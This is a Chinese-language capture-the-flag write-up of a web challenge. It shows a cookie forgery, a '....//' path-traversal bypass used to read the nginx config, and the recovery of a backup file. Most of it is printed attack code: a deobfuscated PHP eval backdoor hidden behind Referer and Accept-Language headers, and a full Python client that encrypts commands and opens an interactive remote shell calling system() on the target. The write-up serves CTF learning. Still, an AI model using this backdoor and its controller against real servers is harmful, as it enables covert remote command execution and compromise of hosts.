首先进来是一个登录页面:
通过御剑扫描,发现了robots.txt,打开发现两个php文件:
hint.php:
Hack.php是跳转到登录页面:
抓包看看Hack.php,发现了可疑的点Cookie:isLogin=0
,不妨修改为1,进入控制中心:
发现url中file=index&ext=php
,不妨测试一下../
,发现这里过滤了../
:
绕过../
,根据hint.php可以知道配置文件的路径,那就构造payload:file=....//....//....//....//etc/nginx/sites-enabled/site.conf&ext=
,读取
server {
listen 8080; ## listen for ipv4; this line is default and implied
listen [::]:8080; ## listen for ipv6
root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;
# Make site accessible from http://localhost/
#server_name localhost;
# If block for setting the time for the logfile
if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
set $year $1;
set $month $2;
set $day $3;
}
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
sendfile off;
set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded_for_filt $1???;
}
# Add stdout logging
access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to index.html
try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}
location ~ /\. {
log_not_found off;
deny all;
}
location /web-img {
alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
}
include /var/www/nginx[.]conf;
}
代码审计,关键词alias:用来指定请求资源的真实路径
,访问web-img
:
找到敏感文件:/var/www/hack.php.bak
:
根据经验,这应该是一个PHP混淆,输出$f
看看:
整理代码:
<?php
$kh="42f4";
$kf="e9ac";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m){
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for($z=1;$z<count($m[1]);$z++)
$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0){
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)){
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e){
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
到这我能想到的就差不多了,看了师傅们的脚本代码:
# encoding: utf-8
# 注意修改 url , keyh , keyf 等参数
from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
# 用于生成完整的 Accept-Language
def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = [] # 结果
indexes = [] # 索引
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result
# 生成随机填充字符串( 由所有 ASCII 字符组成 , 包括不可读的字符 )
def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result
# 生成随机填充字符串( 由所有大小写字母组成 )
def randAlpha(amount):
result = ''
for i in xrange(amount):
# choice() 方法返回一个列表,元组或字符串的随机项
# string.ascii_letters 会生成所有的字母
result += choice(string.ascii_letters)
return result
# 模拟 x() 函数 , 循环异或加密
def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result
# 开启 Debug 选项
def debugPrint(msg):
if debugging:
print msg
# 定义基本变量
debugging = False # 默认关闭 Debug , 可用 True 开启
keyh = "42f7" # $kh , 需要修改
keyf = "e9ac" # $kf , 需要修改
xorKey = keyh + keyf # $k
url = 'http://111.200.241.244:59477/hack.php' # 指定 URL , 需要修改
defaultLang = 'zh-CN' #默认Language
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d'] #Accept-Language 模板
proxies = None # {'http':'http://127.0.0.1:8080'} # 代理 , 可用于 BurpSuite 等
sess = requests.Session() # 创建一个 SESSION 对象
# 每次会话会产生一次随机的 Accept-Language
langTmp = choicePart(languages,3) # 输出一个列表 , 包含模板中的三种 Accept-language
indexes = sorted(choicePart(range(1,10),3), reverse=True) # 降序排序输出三个权重值 , 例如 [8,6,4]
acceptLang = [defaultLang] # 先添加默认Language
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],)) # 然后循环添加三种 Accept-Language , 并为其添加权重值
acceptLangStr = ','.join(acceptLang) # 将多个 Accept-Language 用 " , " 拼接在一起
# acceptLangStr 即为要使用的 Accept-Language
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3] # $h
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8)) # $f + 填充字符串
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# 交互式 Shell
cmd = "system('" + raw_input('shell > ') + "');"
while cmd != '':
# 在写入 Payload 前填充一些无关数据
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value)) # 生成无关数据并填充
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))
# 对 Payload 进行加密
payload = zlib.compress(cmd) # gzcompress 操作
payload = loopXor(payload,xorKey) # 循环异或运算 , PHP代码中的 x() 函数
payload = base64.urlsafe_b64encode(payload) # base64_encode 编码
payload = md5head + payload # 在开头补全$h
# 对Payload进行修改
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
# 将 Payload 作为查询字符串编码拼接到 Referer 中
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)
# 发送 HTTP GET 请求
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)
# 接收响应数据包
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
# 如果没有收到响应数据包
if len(output) == 0:
print 'Error, no backdoor response'
cmd = "system('" + raw_input('shell > ') + "');"
continue
# 如果收到响应数据包 , 则对其进行处理
output = output[0]
debugPrint(output)
output = output.decode('base64') # base64_decode 解码
output = loopXor(output,xorKey) # 循环异或运算
output = zlib.decompress(output) # gzuncompress 运算
print output # 输出响应信息
cmd = "system('" + raw_input('shell > ') + "');"
运行就可以拿到flag
这题有点超出了我的能力范围,代码能力还需要不断提升!
总结:
PHP混淆
后门脚本